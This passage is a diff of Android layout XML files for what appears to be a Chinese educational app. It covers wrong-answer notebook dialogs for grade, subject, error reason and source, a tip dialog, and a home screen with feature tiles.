68 android:id="@+id/ll_delete"
69 android:layout_width="wrap_content"
70 android:layout_height="wrap_content"
71 android:layout_centerVertical="true"
72 android:layout_marginLeft="15dp"
73 android:orientation="vertical">
74
75 <ImageView
76 android:layout_width="25dp"
77 android:layout_height="25dp"
78 android:layout_gravity="center_horizontal"
79 android:src="@mipmap/ic_delete" />
80
81 <TextView
82 android:layout_width="wrap_content"
83 android:layout_height="wrap_content"
84 android:layout_gravity="center_horizontal"
85 android:layout_marginTop="5dp"
86 android:text="删除"
87 android:textSize="11sp" />
88 </LinearLayout>
89
90 <TextView
91 android:id="@+id/tv_save"
92 android:layout_width="280dp"
93 android:layout_height="40dp"
94 android:layout_alignParentRight="true"
95 android:layout_centerVertical="true"
96 android:layout_marginRight="15dp"
97 android:background="@drawable/bg_soild_blue_5"
98 android:gravity="center"
99 android:text="完成"
100 android:textColor="@color/white"
101 android:textSize="18sp" />
102 </RelativeLayout>
103 </RelativeLayout>
104 </LinearLayout>
app/src/main/res/layout/dialog_add_error.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:layout_width="match_parent"
3 android:layout_height="wrap_content"
4 android:background="@drawable/bg_solid_white_10_top"
5 android:orientation="vertical">
6
7 <RelativeLayout
8 android:layout_width="match_parent"
9 android:layout_height="50dp">
10
11 <TextView
12 android:layout_width="wrap_content"
13 android:layout_height="wrap_content"
14 android:layout_centerInParent="true"
15 android:text="加入错题本"
16 android:textColor="@color/text_title"
17 android:textSize="17sp"
18 android:textStyle="bold" />
19
20 <ImageView
21 android:id="@+id/iv_back"
22 android:layout_width="35dp"
23 android:layout_height="35dp"
24 android:layout_alignParentRight="true"
25 android:layout_centerVertical="true"
26 android:layout_marginRight="10dp"
27 android:padding="10dp"
28 android:src="@mipmap/ic_close" />
29 </RelativeLayout>
30
31 <androidx.recyclerview.widget.RecyclerView
32 android:id="@+id/list_item"
33 android:layout_width="match_parent"
34 android:layout_height="30dp"
35 android:layout_marginLeft="20dp"
36 android:layout_marginTop="10dp"
37 android:layout_marginRight="20dp" />
38
39 <RelativeLayout
40 android:layout_width="match_parent"
41 android:layout_height="90dp"
42 android:layout_marginLeft="20dp"
43 android:layout_marginTop="20dp"
44 android:layout_marginRight="20dp">
45
46 <RelativeLayout
47 android:layout_width="match_parent"
48 android:layout_height="match_parent"
49 android:background="#F5F5F5">
50
51 <ImageView
52 android:id="@+id/iv_topic"
53 android:layout_width="wrap_content"
54 android:layout_height="wrap_content"
55 android:layout_centerVertical="true" />
56 </RelativeLayout>
57 </RelativeLayout>
58
59 <TextView
60 android:layout_width="wrap_content"
61 android:layout_height="wrap_content"
62 android:layout_centerVertical="true"
63 android:layout_marginLeft="20dp"
64 android:layout_marginTop="20dp"
65 android:text="年级学期"
66 android:textColor="@color/text_title"
67 android:textSize="15sp"
68 android:textStyle="bold" />
69
70 <androidx.appcompat.widget.AppCompatSpinner
71 android:id="@+id/spinner_grade"
72 style="@style/customSpinnerStyle"
73 android:layout_width="match_parent"
74 android:layout_height="40dp"
75 android:layout_centerHorizontal="true"
76 android:layout_marginLeft="20dp"
77 android:layout_marginTop="10dp"
78 android:layout_marginRight="20dp"
79 android:background="@drawable/selector_for_custom_spinner"
80 android:entries="@array/filter_subject"
81 android:popupBackground="@drawable/shape_for_custom_spinner"
82 android:scrollbars="none" />
83
84 <TextView
85 android:layout_width="wrap_content"
86 android:layout_height="wrap_content"
87 android:layout_centerVertical="true"
88 android:layout_marginLeft="20dp"
89 android:layout_marginTop="20dp"
90 android:text="科目"
91 android:textColor="@color/text_title"
92 android:textSize="15sp"
93 android:textStyle="bold" />
94
95 <androidx.appcompat.widget.AppCompatSpinner
96 android:id="@+id/spinner_subject"
97 style="@style/customSpinnerStyle"
98 android:layout_width="match_parent"
99 android:layout_height="40dp"
100 android:layout_centerHorizontal="true"
101 android:layout_marginLeft="20dp"
102 android:layout_marginTop="10dp"
103 android:layout_marginRight="20dp"
104 android:background="@drawable/selector_for_custom_spinner"
105 android:entries="@array/filter_subject"
106 android:popupBackground="@drawable/shape_for_custom_spinner"
107 android:scrollbars="none" />
108
109 <TextView
110 android:layout_width="wrap_content"
111 android:layout_height="wrap_content"
112 android:layout_centerVertical="true"
113 android:layout_marginLeft="20dp"
114 android:layout_marginTop="20dp"
115 android:text="错误原因"
116 android:textColor="@color/text_title"
117 android:textSize="15sp"
118 android:textStyle="bold" />
119
120 <androidx.appcompat.widget.AppCompatSpinner
121 android:id="@+id/spinner_reason"
122 style="@style/customSpinnerStyle"
123 android:layout_width="match_parent"
124 android:layout_height="40dp"
125 android:layout_centerHorizontal="true"
126 android:layout_marginLeft="20dp"
127 android:layout_marginTop="10dp"
128 android:layout_marginRight="20dp"
129 android:background="@drawable/selector_for_custom_spinner"
130 android:entries="@array/filter_subject"
131 android:popupBackground="@drawable/shape_for_custom_spinner"
132 android:scrollbars="none" />
133
134 <TextView
135 android:layout_width="wrap_content"
136 android:layout_height="wrap_content"
137 android:layout_centerVertical="true"
138 android:layout_marginLeft="20dp"
139 android:layout_marginTop="20dp"
140 android:text="来源"
141 android:textColor="@color/text_title"
142 android:textSize="15sp"
143 android:textStyle="bold" />
144
145 <RadioGroup
146 android:id="@+id/type_radio"
147 android:layout_width="match_parent"
148 android:layout_height="40dp"
149 android:layout_marginLeft="20dp"
150 android:layout_marginTop="10dp"
151 android:orientation="horizontal">
152
153 <RadioButton
154 android:layout_width="65dp"
155 android:layout_height="match_parent"
156 android:layout_marginRight="20dp"
157 android:background="@drawable/radio_button_selector"
158 android:button="@null"
159 android:gravity="center"
160 android:text="课内"
161 android:textColor="@drawable/radio_text_selector"
162 android:textSize="14sp" />
163
164 <RadioButton
165 android:layout_width="65dp"
166 android:layout_height="match_parent"
167 android:layout_marginRight="20dp"
168 android:background="@drawable/radio_button_selector"
169 android:button="@null"
170 android:gravity="center"
171 android:text="课外"
172 android:textColor="@drawable/radio_text_selector"
173 android:textSize="14sp" />
174 </RadioGroup>
175
176
177 <RelativeLayout
178 android:layout_width="match_parent"
179 android:layout_height="40dp"
180 android:layout_marginLeft="20dp"
181 android:layout_marginTop="20dp"
182 android:layout_marginRight="20dp"
183 android:layout_marginBottom="15dp">
184
185 <TextView
186 android:id="@+id/add_topic"
187 android:layout_width="250dp"
188 android:layout_height="match_parent"
189 android:layout_alignParentRight="true"
190 android:background="@drawable/bg_soild_blue_5"
191 android:gravity="center"
192 android:textColor="@color/white"
193 android:textSize="17sp" />
194
195 <CheckBox
196 android:id="@+id/checkbox"
197 android:layout_width="wrap_content"
198 android:layout_height="30dp"
199 android:layout_centerVertical="true"
200 android:button="@drawable/checkbox_selector"
201 android:text="批量设置"
202 android:paddingLeft="8dp"
203 android:textColor="@color/text_title"
204 android:textSize="14sp" />
205
206 </RelativeLayout>
207 </LinearLayout>
208
209
app/src/main/res/layout/dialog_edit_error.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:layout_width="match_parent"
3 android:layout_height="wrap_content"
4 android:background="@drawable/bg_solid_white_10_top"
5 android:orientation="vertical">
6
7 <RelativeLayout
8 android:layout_width="match_parent"
9 android:layout_height="50dp">
10
11 <TextView
12 android:layout_width="wrap_content"
13 android:layout_height="wrap_content"
14 android:layout_centerInParent="true"
15 android:text="错题标签"
16 android:textColor="@color/text_title"
17 android:textSize="17sp"
18 android:textStyle="bold" />
19
20 <ImageView
21 android:id="@+id/iv_back"
22 android:layout_width="35dp"
23 android:layout_height="35dp"
24 android:layout_alignParentRight="true"
25 android:layout_centerVertical="true"
26 android:layout_marginRight="10dp"
27 android:padding="10dp"
28 android:src="@mipmap/ic_close" />
29 </RelativeLayout>
30
31 <TextView
32 android:layout_width="wrap_content"
33 android:layout_height="wrap_content"
34 android:layout_centerVertical="true"
35 android:layout_marginLeft="20dp"
36 android:layout_marginTop="20dp"
37 android:text="年级学期"
38 android:textColor="@color/text_title"
39 android:textSize="15sp"
40 android:textStyle="bold" />
41
42 <androidx.appcompat.widget.AppCompatSpinner
43 android:id="@+id/spinner_grade"
44 style="@style/customSpinnerStyle"
45 android:layout_width="match_parent"
46 android:layout_height="40dp"
47 android:layout_centerHorizontal="true"
48 android:layout_marginLeft="20dp"
49 android:layout_marginTop="10dp"
50 android:layout_marginRight="20dp"
51 android:background="@drawable/selector_for_custom_spinner"
52 android:entries="@array/filter_subject"
53 android:popupBackground="@drawable/shape_for_custom_spinner"
54 android:scrollbars="none" />
55
56 <TextView
57 android:layout_width="wrap_content"
58 android:layout_height="wrap_content"
59 android:layout_centerVertical="true"
60 android:layout_marginLeft="20dp"
61 android:layout_marginTop="20dp"
62 android:text="科目"
63 android:textColor="@color/text_title"
64 android:textSize="15sp"
65 android:textStyle="bold" />
66
67 <androidx.appcompat.widget.AppCompatSpinner
68 android:id="@+id/spinner_subject"
69 style="@style/customSpinnerStyle"
70 android:layout_width="match_parent"
71 android:layout_height="40dp"
72 android:layout_centerHorizontal="true"
73 android:layout_marginLeft="20dp"
74 android:layout_marginTop="10dp"
75 android:layout_marginRight="20dp"
76 android:background="@drawable/selector_for_custom_spinner"
77 android:entries="@array/filter_subject"
78 android:popupBackground="@drawable/shape_for_custom_spinner"
79 android:scrollbars="none" />
80
81 <TextView
82 android:layout_width="wrap_content"
83 android:layout_height="wrap_content"
84 android:layout_centerVertical="true"
85 android:layout_marginLeft="20dp"
86 android:layout_marginTop="20dp"
87 android:text="错误原因"
88 android:textColor="@color/text_title"
89 android:textSize="15sp"
90 android:textStyle="bold" />
91
92 <androidx.appcompat.widget.AppCompatSpinner
93 android:id="@+id/spinner_reason"
94 style="@style/customSpinnerStyle"
95 android:layout_width="match_parent"
96 android:layout_height="40dp"
97 android:layout_centerHorizontal="true"
98 android:layout_marginLeft="20dp"
99 android:layout_marginTop="10dp"
100 android:layout_marginRight="20dp"
101 android:background="@drawable/selector_for_custom_spinner"
102 android:entries="@array/filter_subject"
103 android:popupBackground="@drawable/shape_for_custom_spinner"
104 android:scrollbars="none" />
105
106 <TextView
107 android:layout_width="wrap_content"
108 android:layout_height="wrap_content"
109 android:layout_centerVertical="true"
110 android:layout_marginLeft="20dp"
111 android:layout_marginTop="20dp"
112 android:text="来源"
113 android:textColor="@color/text_title"
114 android:textSize="15sp"
115 android:textStyle="bold" />
116
117 <RadioGroup
118 android:id="@+id/type_radio"
119 android:layout_width="match_parent"
120 android:layout_height="40dp"
121 android:layout_marginLeft="20dp"
122 android:layout_marginTop="10dp"
123 android:orientation="horizontal">
124
125 <RadioButton
126 android:layout_width="65dp"
127 android:layout_height="match_parent"
128 android:layout_marginRight="20dp"
129 android:background="@drawable/radio_button_selector"
130 android:button="@null"
131 android:gravity="center"
132 android:text="课内"
133 android:textColor="@drawable/radio_text_selector"
134 android:textSize="14sp" />
135
136 <RadioButton
137 android:layout_width="65dp"
138 android:layout_height="match_parent"
139 android:layout_marginRight="20dp"
140 android:background="@drawable/radio_button_selector"
141 android:button="@null"
142 android:gravity="center"
143 android:text="课外"
144 android:textColor="@drawable/radio_text_selector"
145 android:textSize="14sp" />
146 </RadioGroup>
147
148
149 <RelativeLayout
150 android:layout_width="match_parent"
151 android:layout_height="40dp"
152 android:layout_marginLeft="20dp"
153 android:layout_marginTop="20dp"
154 android:layout_marginRight="20dp"
155 android:layout_marginBottom="15dp">
156
157 <TextView
158 android:id="@+id/add_topic"
159 android:layout_width="250dp"
160 android:layout_height="match_parent"
161 android:layout_centerInParent="true"
162 android:background="@drawable/bg_soild_blue_5"
163 android:gravity="center"
164 android:text="确认修改"
165 android:textColor="@color/white"
166 android:textSize="17sp" />
167
168
169 </RelativeLayout>
170 </LinearLayout>
171
172
app/src/main/res/layout/dialog_tip.xml
File was created 1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:layout_width="match_parent"
3 android:layout_height="match_parent">
4
5 <RelativeLayout
6 android:layout_width="335dp"
7 android:layout_height="wrap_content"
8 android:layout_centerInParent="true"
9 android:background="@drawable/bg_solid_white_10">
10
11 <ImageView
12 android:id="@+id/iv_tip"
13 android:layout_width="70dp"
14 android:layout_height="70dp"
15 android:layout_centerHorizontal="true"
16 android:layout_marginTop="5dp"
17 android:visibility="gone" />
18
19 <TextView
20 android:id="@+id/tv_title"
21 android:layout_width="wrap_content"
22 android:layout_height="wrap_content"
23 android:layout_below="@+id/iv_tip"
24 android:layout_centerHorizontal="true"
25 android:layout_marginLeft="40dp"
26 android:layout_marginTop="20dp"
27 android:layout_marginRight="40dp"
28 android:textColor="#333333"
29 android:textSize="19sp"
30 android:textStyle="bold" />
31
32 <TextView
33 android:id="@+id/tv_content"
34 android:layout_width="wrap_content"
35 android:layout_height="wrap_content"
36 android:layout_below="@+id/tv_title"
37 android:layout_centerHorizontal="true"
38 android:layout_marginLeft="40dp"
39 android:layout_marginTop="15dp"
40 android:layout_marginRight="40dp"
41 android:textColor="#333333"
42 android:textSize="19sp" />
43
44 <LinearLayout
45 android:layout_width="match_parent"
46 android:layout_height="50dp"
47 android:layout_below="@+id/tv_content"
48 android:layout_marginTop="30dp"
49 android:orientation="horizontal">
50
51 <TextView
52 android:id="@+id/tv_cancel"
53 android:layout_width="0dp"
54 android:layout_height="match_parent"
55 android:layout_weight="1"
56 android:gravity="center"
57 android:textColor="#999999" />
58
59 <View
60 android:layout_width="1dp"
61 android:layout_height="match_parent"
62 android:background="#EEEEEE" />
63
64 <TextView
65 android:id="@+id/tv_confirm"
66 android:layout_width="0dp"
67 android:layout_height="match_parent"
68 android:layout_weight="1"
69 android:gravity="center"
70 android:textColor="#489AFA" />
71 </LinearLayout>
72
73 <View
74 android:layout_width="match_parent"
75 android:layout_height="1dp"
76 android:layout_below="@+id/tv_content"
77 android:layout_marginTop="30dp"
78 android:background="#EEEEEE" />
79
80 </RelativeLayout>
81 </RelativeLayout>
app/src/main/res/layout/fragment_home.xml
1 <?xml version="1.0" encoding="utf-8"?> 1 <?xml version="1.0" encoding="utf-8"?>
2 <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" 2 <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
3 xmlns:app="http://schemas.android.com/apk/res-auto" 3 xmlns:app="http://schemas.android.com/apk/res-auto"
4 android:layout_width="match_parent" 4 android:layout_width="match_parent"
5 android:layout_height="match_parent" 5 android:layout_height="match_parent"
6 android:background="#F4F6F8"> 6 android:background="#F4F6F8">
7 7
8 <View 8 <View
9 android:id="@+id/view_1" 9 android:id="@+id/view_1"
10 android:layout_width="match_parent" 10 android:layout_width="match_parent"
11 android:layout_height="44dp" 11 android:layout_height="44dp"
12 android:background="@android:color/white" 12 android:background="@android:color/white"
13 app:layout_constraintTop_toTopOf="parent" /> 13 app:layout_constraintTop_toTopOf="parent" />
14 14
15 <ImageView 15 <ImageView
16 android:id="@+id/iv_1" 16 android:id="@+id/iv_1"
17 android:layout_width="10dp" 17 android:layout_width="10dp"
18 android:layout_height="16dp" 18 android:layout_height="16dp"
19 android:layout_marginLeft="15dp" 19 android:layout_marginLeft="15dp"
20 android:background="@mipmap/icon_back" 20 android:background="@mipmap/icon_back"
21 app:layout_constraintBottom_toBottomOf="@id/view_1" 21 app:layout_constraintBottom_toBottomOf="@id/view_1"
22 app:layout_constraintLeft_toLeftOf="parent" 22 app:layout_constraintLeft_toLeftOf="parent"
23 app:layout_constraintTop_toTopOf="@id/view_1" /> 23 app:layout_constraintTop_toTopOf="@id/view_1" />
24 24
25 <ImageView 25 <ImageView
26 android:id="@+id/iv_2" 26 android:id="@+id/iv_2"
27 android:layout_width="31dp" 27 android:layout_width="31dp"
28 android:layout_height="31dp" 28 android:layout_height="31dp"
29 android:layout_marginLeft="35dp" 29 android:layout_marginLeft="35dp"
30 android:background="@mipmap/txz" 30 android:background="@mipmap/txz"
31 app:layout_constraintBottom_toBottomOf="@id/view_1" 31 app:layout_constraintBottom_toBottomOf="@id/view_1"
32 app:layout_constraintLeft_toLeftOf="parent" 32 app:layout_constraintLeft_toLeftOf="parent"
33 app:layout_constraintTop_toTopOf="@id/view_1" /> 33 app:layout_constraintTop_toTopOf="@id/view_1" />
34 34
35 <TextView 35 <TextView
36 android:id="@+id/tv_name" 36 android:id="@+id/tv_name"
37 android:layout_width="wrap_content" 37 android:layout_width="wrap_content"
38 android:layout_height="wrap_content" 38 android:layout_height="wrap_content"
39 android:layout_marginLeft="6.5dp" 39 android:layout_marginLeft="6.5dp"
40 android:textColor="#333333" 40 android:textColor="#333333"
41 android:textSize="15dp" 41 android:textSize="15dp"
42 app:layout_constraintBottom_toBottomOf="@id/view_1" 42 app:layout_constraintBottom_toBottomOf="@id/view_1"
43 app:layout_constraintLeft_toRightOf="@id/iv_2" 43 app:layout_constraintLeft_toRightOf="@id/iv_2"
44 app:layout_constraintTop_toTopOf="@id/view_1" /> 44 app:layout_constraintTop_toTopOf="@id/view_1" />
45 45
46 <ImageView 46 <ImageView
47 android:id="@+id/iv_3" 47 android:id="@+id/iv_3"
48 android:layout_width="8dp" 48 android:layout_width="8dp"
49 android:layout_height="5dp" 49 android:layout_height="5dp"
50 android:layout_marginLeft="5dp" 50 android:layout_marginLeft="5dp"
51 android:background="@mipmap/xxan" 51 android:background="@mipmap/xxan"
52 app:layout_constraintBottom_toBottomOf="@id/view_1" 52 app:layout_constraintBottom_toBottomOf="@id/view_1"
53 app:layout_constraintLeft_toRightOf="@id/tv_name" 53 app:layout_constraintLeft_toRightOf="@id/tv_name"
54 app:layout_constraintTop_toTopOf="@id/view_1" /> 54 app:layout_constraintTop_toTopOf="@id/view_1" />
55 55
56 <ImageView 56 <ImageView
57 android:id="@+id/iv_sapmiao" 57 android:id="@+id/iv_sapmiao"
58 android:layout_width="match_parent" 58 android:layout_width="match_parent"
59 android:layout_height="167dp" 59 android:layout_height="167dp"
60 android:layout_marginLeft="15dp" 60 android:layout_marginLeft="15dp"
61 android:layout_marginTop="60dp" 61 android:layout_marginTop="60dp"
62 android:layout_marginRight="15dp" 62 android:layout_marginRight="15dp"
63 android:background="@mipmap/ssss" 63 android:background="@mipmap/ssss"
64 app:layout_constraintLeft_toLeftOf="parent" 64 app:layout_constraintLeft_toLeftOf="parent"
65 app:layout_constraintRight_toRightOf="parent" 65 app:layout_constraintRight_toRightOf="parent"
66 app:layout_constraintTop_toTopOf="parent" /> 66 app:layout_constraintTop_toTopOf="parent" />
67 67
68 68
69 <LinearLayout 69 <LinearLayout
70 android:id="@+id/view_2" 70 android:id="@+id/view_2"
71 android:layout_width="match_parent" 71 android:layout_width="match_parent"
72 android:layout_height="100dp" 72 android:layout_height="100dp"
73 android:layout_marginLeft="15dp" 73 android:layout_marginLeft="15dp"
74 android:layout_marginTop="240dp" 74 android:layout_marginTop="240dp"
75 android:layout_marginRight="15dp" 75 android:layout_marginRight="15dp"
76 android:background="@drawable/bg_solid_white_10" 76 android:background="@drawable/bg_solid_white_10"
77 android:orientation="horizontal" 77 android:orientation="horizontal"
78 app:layout_constraintLeft_toLeftOf="parent" 78 app:layout_constraintLeft_toLeftOf="parent"
79 app:layout_constraintRight_toRightOf="parent" 79 app:layout_constraintRight_toRightOf="parent"
80 app:layout_constraintTop_toTopOf="parent"> 80 app:layout_constraintTop_toTopOf="parent">
81 81
82 <LinearLayout 82 <LinearLayout
83 android:layout_width="0dp" 83 android:layout_width="0dp"
84 android:layout_height="wrap_content" 84 android:layout_height="wrap_content"
85 android:layout_weight="1" 85 android:layout_weight="1"
86 android:orientation="vertical"> 86 android:orientation="vertical">
87 87
88 <ImageView 88 <ImageView
89 android:id="@+id/iv_21" 89 android:id="@+id/iv_21"
90 android:layout_width="50dp" 90 android:layout_width="50dp"
91 android:layout_height="50dp" 91 android:layout_height="50dp"
92 android:layout_gravity="center_horizontal" 92 android:layout_gravity="center_horizontal"
93 android:layout_marginTop="15dp" 93 android:layout_marginTop="15dp"
94 android:background="@mipmap/yyxz" /> 94 android:background="@mipmap/yyxz" />
95 95
96 <TextView 96 <TextView
97 android:layout_width="wrap_content" 97 android:layout_width="wrap_content"
98 android:layout_height="wrap_content" 98 android:layout_height="wrap_content"
99 android:layout_gravity="center_horizontal" 99 android:layout_gravity="center_horizontal"
100 android:layout_marginTop="8dp" 100 android:layout_marginTop="8dp"
101 android:text="应用管理" 101 android:text="应用管理"
102 android:textColor="#333333" 102 android:textColor="#333333"
103 android:textSize="13dp" 103 android:textSize="13dp"
104 app:layout_constraintLeft_toLeftOf="@id/iv_21" 104 app:layout_constraintLeft_toLeftOf="@id/iv_21"
105 app:layout_constraintRight_toRightOf="@id/iv_21" 105 app:layout_constraintRight_toRightOf="@id/iv_21"
106 app:layout_constraintTop_toBottomOf="@id/iv_21" /> 106 app:layout_constraintTop_toBottomOf="@id/iv_21" />
107 </LinearLayout> 107 </LinearLayout>
108 108
109 <LinearLayout 109 <LinearLayout
110 android:layout_width="0dp" 110 android:layout_width="0dp"
111 android:id="@+id/ll_error"
111 android:layout_height="wrap_content" 112 android:layout_height="wrap_content"
112 android:layout_weight="1" 113 android:layout_weight="1"
113 android:orientation="vertical"> 114 android:orientation="vertical">
114 115
115 <ImageView 116 <ImageView
116 android:id="@+id/iv_22" 117 android:id="@+id/iv_22"
117 android:layout_width="50dp" 118 android:layout_width="50dp"
118 android:layout_height="50dp" 119 android:layout_height="50dp"
119 android:layout_gravity="center_horizontal" 120 android:layout_gravity="center_horizontal"
120 android:layout_marginTop="15dp" 121 android:layout_marginTop="15dp"
121 android:background="@mipmap/xxxt" 122 android:background="@mipmap/xxxt"
122 app:layout_constraintLeft_toLeftOf="@id/view_2" 123 app:layout_constraintLeft_toLeftOf="@id/view_2"
123 app:layout_constraintTop_toTopOf="@id/view_2" /> 124 app:layout_constraintTop_toTopOf="@id/view_2" />
124 125
125 <TextView 126 <TextView
126 android:layout_width="wrap_content" 127 android:layout_width="wrap_content"
127 android:layout_height="wrap_content" 128 android:layout_height="wrap_content"
128 android:layout_gravity="center_horizontal" 129 android:layout_gravity="center_horizontal"
129 android:layout_marginTop="8dp" 130 android:layout_marginTop="8dp"
130 android:text="小星错题" 131 android:text="小星错题"
131 android:textColor="#333333" 132 android:textColor="#333333"
132 android:textSize="13dp" 133 android:textSize="13dp"
133 app:layout_constraintLeft_toLeftOf="@id/iv_22" 134 app:layout_constraintLeft_toLeftOf="@id/iv_22"
134 app:layout_constraintRight_toRightOf="@id/iv_22" 135 app:layout_constraintRight_toRightOf="@id/iv_22"
135 app:layout_constraintTop_toBottomOf="@id/iv_22" /> 136 app:layout_constraintTop_toBottomOf="@id/iv_22" />
136 </LinearLayout> 137 </LinearLayout>
137 138
138 <LinearLayout 139 <LinearLayout
139 android:layout_width="0dp" 140 android:layout_width="0dp"
140 android:layout_height="wrap_content" 141 android:layout_height="wrap_content"
141 android:layout_weight="1" 142 android:layout_weight="1"
142 android:orientation="vertical"> 143 android:orientation="vertical">
143 144
144 <ImageView 145 <ImageView
145 android:id="@+id/iv_23" 146 android:id="@+id/iv_23"
146 android:layout_width="50dp" 147 android:layout_width="50dp"
147 android:layout_height="50dp" 148 android:layout_height="50dp"
148 android:layout_gravity="center_horizontal" 149 android:layout_gravity="center_horizontal"
149 android:layout_marginTop="15dp" 150 android:layout_marginTop="15dp"
150 android:background="@mipmap/ffsj" 151 android:background="@mipmap/ffsj"
151 app:layout_constraintLeft_toLeftOf="@id/view_2" 152 app:layout_constraintLeft_toLeftOf="@id/view_2"
152 app:layout_constraintTop_toTopOf="@id/view_2" /> 153 app:layout_constraintTop_toTopOf="@id/view_2" />
153 154
154 <TextView 155 <TextView
155 android:layout_width="wrap_content" 156 android:layout_width="wrap_content"
156 android:layout_height="wrap_content" 157 android:layout_height="wrap_content"
157 android:layout_gravity="center_horizontal" 158 android:layout_gravity="center_horizontal"
158 android:layout_marginTop="8dp" 159 android:layout_marginTop="8dp"
159 android:text="分发试卷" 160 android:text="分发试卷"
160 android:textColor="#333333" 161 android:textColor="#333333"
161 android:textSize="13dp" 162 android:textSize="13dp"
162 app:layout_constraintLeft_toLeftOf="@id/iv_23" 163 app:layout_constraintLeft_toLeftOf="@id/iv_23"
163 app:layout_constraintRight_toRightOf="@id/iv_23" 164 app:layout_constraintRight_toRightOf="@id/iv_23"
164 app:layout_constraintTop_toBottomOf="@id/iv_23" /> 165 app:layout_constraintTop_toBottomOf="@id/iv_23" />
165 </LinearLayout> 166 </LinearLayout>
166 167
167 <LinearLayout 168 <LinearLayout
168 android:layout_width="0dp" 169 android:layout_width="0dp"
169 android:layout_height="wrap_content" 170 android:layout_height="wrap_content"
170 android:layout_weight="1" 171 android:layout_weight="1"
171 android:orientation="vertical"> 172 android:orientation="vertical">
172 173
173 <ImageView 174 <ImageView
174 android:id="@+id/iv_24" 175 android:id="@+id/iv_24"
175 android:layout_width="50dp" 176 android:layout_width="50dp"
176 android:layout_height="50dp" 177 android:layout_height="50dp"
177 android:layout_gravity="center_horizontal" 178 android:layout_gravity="center_horizontal"
178 android:layout_marginTop="15dp" 179 android:layout_marginTop="15dp"
179 android:background="@mipmap/sbgl" 180 android:background="@mipmap/sbgl"
180 app:layout_constraintLeft_toLeftOf="@id/view_2" 181 app:layout_constraintLeft_toLeftOf="@id/view_2"
181 app:layout_constraintTop_toTopOf="@id/view_2" /> 182 app:layout_constraintTop_toTopOf="@id/view_2" />
182 183
183 <TextView 184 <TextView
184 android:layout_width="wrap_content" 185 android:layout_width="wrap_content"
185 android:layout_height="wrap_content" 186 android:layout_height="wrap_content"
186 android:layout_gravity="center_horizontal" 187 android:layout_gravity="center_horizontal"
187 android:layout_marginTop="8dp" 188 android:layout_marginTop="8dp"
188 android:text="设备管理" 189 android:text="设备管理"
189 android:textColor="#333333" 190 android:textColor="#333333"
190 android:textSize="13dp" 191 android:textSize="13dp"
191 app:layout_constraintLeft_toLeftOf="@id/iv_24" 192 app:layout_constraintLeft_toLeftOf="@id/iv_24"
192 app:layout_constraintRight_toRightOf="@id/iv_24" 193 app:layout_constraintRight_toRightOf="@id/iv_24"
193 app:layout_constraintTop_toBottomOf="@id/iv_24" /> 194 app:layout_constraintTop_toBottomOf="@id/iv_24" />
194 </LinearLayout> 195 </LinearLayout>
195 </LinearLayout> 196 </LinearLayout>
196 197
197 <RelativeLayout 198 <RelativeLayout
198 android:id="@+id/view_3" 199 android:id="@+id/view_3"
199 android:layout_width="match_parent" 200 android:layout_width="match_parent"
200 android:layout_height="match_parent" 201 android:layout_height="match_parent"
201 android:layout_marginLeft="15dp" 202 android:layout_marginLeft="15dp"
202 android:layout_marginTop="357dp" 203 android:layout_marginTop="357dp"
203 android:layout_marginRight="15dp" 204 android:layout_marginRight="15dp"
204 android:layout_marginBottom="20dp" 205 android:layout_marginBottom="20dp"
205 android:background="@drawable/bg_solid_white_10" 206 android:background="@drawable/bg_solid_white_10"
206 android:orientation="vertical" 207 android:orientation="vertical"
207 app:layout_constraintLeft_toLeftOf="parent" 208 app:layout_constraintLeft_toLeftOf="parent"
208 app:layout_constraintRight_toRightOf="parent" 209 app:layout_constraintRight_toRightOf="parent"
209 app:layout_constraintTop_toTopOf="parent"> 210 app:layout_constraintTop_toTopOf="parent">
210 211
211 <RelativeLayout 212 <RelativeLayout
212 android:id="@+id/rl_schedule" 213 android:id="@+id/rl_schedule"
213 android:layout_width="match_parent" 214 android:layout_width="match_parent"
214 android:layout_height="wrap_content" 215 android:layout_height="wrap_content"
215 android:layout_marginTop="15dp" 216 android:layout_marginTop="15dp"
216 android:layout_marginRight="10dp"> 217 android:layout_marginRight="10dp">
217 218
218 <TextView 219 <TextView
219 android:id="@+id/tv_31" 220 android:id="@+id/tv_31"
220 android:layout_width="wrap_content" 221 android:layout_width="wrap_content"
221 android:layout_height="wrap_content" 222 android:layout_height="wrap_content"
222 android:layout_centerHorizontal="true" 223 android:layout_centerHorizontal="true"
223 android:text="本周学习计划" 224 android:text="本周学习计划"
224 android:textColor="#333333" 225 android:textColor="#333333"
225 android:textSize="15dp" /> 226 android:textSize="15dp" />
226 227
227 228
228 <View 229 <View
229 android:layout_width="25dp" 230 android:layout_width="25dp"
230 android:layout_height="1dp" 231 android:layout_height="1dp"
231 android:layout_centerVertical="true" 232 android:layout_centerVertical="true"
232 android:layout_marginRight="10dp" 233 android:layout_marginRight="10dp"
233 android:layout_toLeftOf="@+id/tv_31" 234 android:layout_toLeftOf="@+id/tv_31"
234 android:background="#EEEEEE" /> 235 android:background="#EEEEEE" />
235 236
236 <View 237 <View
237 android:layout_width="25dp" 238 android:layout_width="25dp"
238 android:layout_height="1dp" 239 android:layout_height="1dp"
239 android:layout_centerVertical="true" 240 android:layout_centerVertical="true"
240 android:layout_marginLeft="10dp" 241 android:layout_marginLeft="10dp"
241 android:layout_toRightOf="@+id/tv_31" 242 android:layout_toRightOf="@+id/tv_31"
242 android:background="#EEEEEE" /> 243 android:background="#EEEEEE" />
243 </RelativeLayout> 244 </RelativeLayout>
244 245
245 246
246 <ImageView 247 <ImageView
247 android:id="@+id/iv_empty" 248 android:id="@+id/iv_empty"
248 android:layout_width="103dp" 249 android:layout_width="103dp"
249 android:layout_height="66dp" 250 android:layout_height="66dp"
250 android:layout_below="@+id/rl_schedule" 251 android:layout_below="@+id/rl_schedule"
251 android:layout_centerHorizontal="true" 252 android:layout_centerHorizontal="true"
252 android:layout_gravity="center_horizontal" 253 android:layout_gravity="center_horizontal"
253 android:layout_marginTop="48dp" 254 android:layout_marginTop="48dp"
254 android:background="@mipmap/zwjh" /> 255 android:background="@mipmap/zwjh" />
255 256
256 <TextView 257 <TextView
257 android:id="@+id/tv_empty" 258 android:id="@+id/tv_empty"
258 android:layout_width="wrap_content" 259 android:layout_width="wrap_content"
